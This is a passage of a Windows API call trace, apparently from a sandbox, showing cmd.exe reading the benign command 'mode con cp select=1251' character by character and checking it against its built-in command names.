out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f628*=0x2, lpOverlapped=0x0) returned 1 [0246.334] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0246.334] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x24a1a920080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0246.334] malloc (_Size=0x107ce) returned 0x24a1a930060 [0246.334] _vsnwprintf (in: _Buffer=0x24a1a930060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x7d41d0f668 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0246.335] _vsnwprintf (in: _Buffer=0x24a1a930086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x7d41d0f668 | out: _Buffer=">") returned 1 [0246.335] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.335] GetFileType (hFile=0xfa0) returned 0x3 [0246.335] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.335] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0246.335] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x7d41d0f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f658*=0x14, lpOverlapped=0x0) returned 1 [0246.335] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.335] GetFileType (hFile=0xf94) returned 0x3 [0246.335] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.335] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.335] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0246.335] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.335] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.335] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0246.335] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.335] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.335] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0246.336] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.336] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.336] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0246.336] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.336] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.336] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0246.336] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.336] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.336] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0246.336] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.336] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.336] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0246.336] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.336] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.336] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0246.336] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.336] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.337] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0246.337] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.337] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.337] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0246.337] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.337] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.337] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0246.337] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.337] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.337] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0246.337] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.337] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.337] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0246.337] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.337] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.337] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0246.338] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.338] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.338] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0246.338] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.338] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.338] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0246.338] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.338] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.338] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0246.338] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.338] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.338] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0246.338] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.338] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.338] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0246.338] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.338] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.338] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0246.338] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.338] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.339] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0246.339] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.339] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.339] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0246.339] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.339] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.339] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0246.339] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.339] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.339] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0246.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0246.339] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.339] GetFileType (hFile=0xf94) returned 0x3 [0246.339] _get_osfhandle (_FileHandle=0) returned 0xf94 [0246.340] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.340] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.340] GetFileType (hFile=0xfa0) returned 0x3 [0246.340] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0246.340] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0246.340] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x7d41d0f958, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f958*=0x18, lpOverlapped=0x0) returned 1 [0246.340] GetProcessHeap () returned 0x24a1a690000 [0246.340] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x4012) returned 0x24a1a698e90 [0246.340] GetProcessHeap () returned 0x24a1a690000 [0246.340] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a698e90) returned 1 [0246.340] _wcsicmp (_String1="mode", _String2=")") returned 68 [0246.340] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0246.340] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0246.340] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0246.340] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0246.340] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0246.340] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0246.340] GetProcessHeap () returned 0x24a1a690000 [0246.340] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xb0) returned 0x24a1a6977c0 [0246.340] GetProcessHeap () returned 0x24a1a690000 [0246.340] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x1a) returned 0x24a1a696330 [0246.341] GetProcessHeap () returned 0x24a1a690000 [0246.341] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x38) returned 0x24a1a696500 [0246.342] GetConsoleOutputCP () returned 0x1b5 [0246.817] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0246.817] SetThreadUILanguage (LangId=0x0) returned 0x409 [0247.421] GetConsoleTitleW (in: lpConsoleTitle=0x7d41d0f7a0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0247.791] malloc (_Size=0xffce) returned 0x24a1a940840 [0247.791] ??_V@YAXPEAX@Z () returned 0x24a1a940840 [0247.792] malloc (_Size=0xffce) returned 0x24a1a950820 [0247.792] ??_V@YAXPEAX@Z () returned 0x24a1a950820 [0247.793] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0247.793] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0247.793] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0247.793] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0247.793] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0247.793] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0247.793] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0247.793] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0247.793] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0247.793] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0247.793] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0247.793] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0247.793] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0247.793] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0247.793] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0247.793] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0247.793] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0247.793] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0247.793] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0247.793] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0247.793] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0247.793] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0247.793] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0247.793] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0247.793] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0247.793] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0247.793] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0247.794] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0247.794] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0247.794] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0247.794] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0247.794] _wcsicmp (_String1="mode", _String2="START") returned -6 [0247.794] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0247.794] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0247.794] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0247.794] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0247.794] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0247.794] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0247.794] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0247.794] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0247.794] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0247.794] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0247.794] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0247.794] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0247.794] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0247.794] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0247.794] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0247.794] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0247.794] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0247.794] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0247.794] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0247.794] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0247.794] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0247.794] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0247.794] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0247.794] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0247.794] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0247.794] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0247.794] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0247.794] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0247.795] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0247.795] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0247.795] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0247.795] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0247.795] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0247.795] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0247.795] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0247.795] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0247.795] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0247.795] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0247.795] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0247.795] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0247.795] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0247.795] _wcsicmp (_String1="mode", _String2="START") returned -6 [0247.795] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0247.795] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0247.795] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0247.795] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 